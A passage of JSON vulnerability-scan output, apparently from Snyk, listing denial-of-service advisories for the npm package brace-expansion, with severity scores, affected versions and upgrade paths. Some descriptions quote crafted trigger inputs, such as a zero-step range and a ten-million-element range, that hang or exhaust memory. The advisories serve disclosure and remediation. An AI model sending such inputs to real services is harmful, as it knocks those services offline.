"https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": 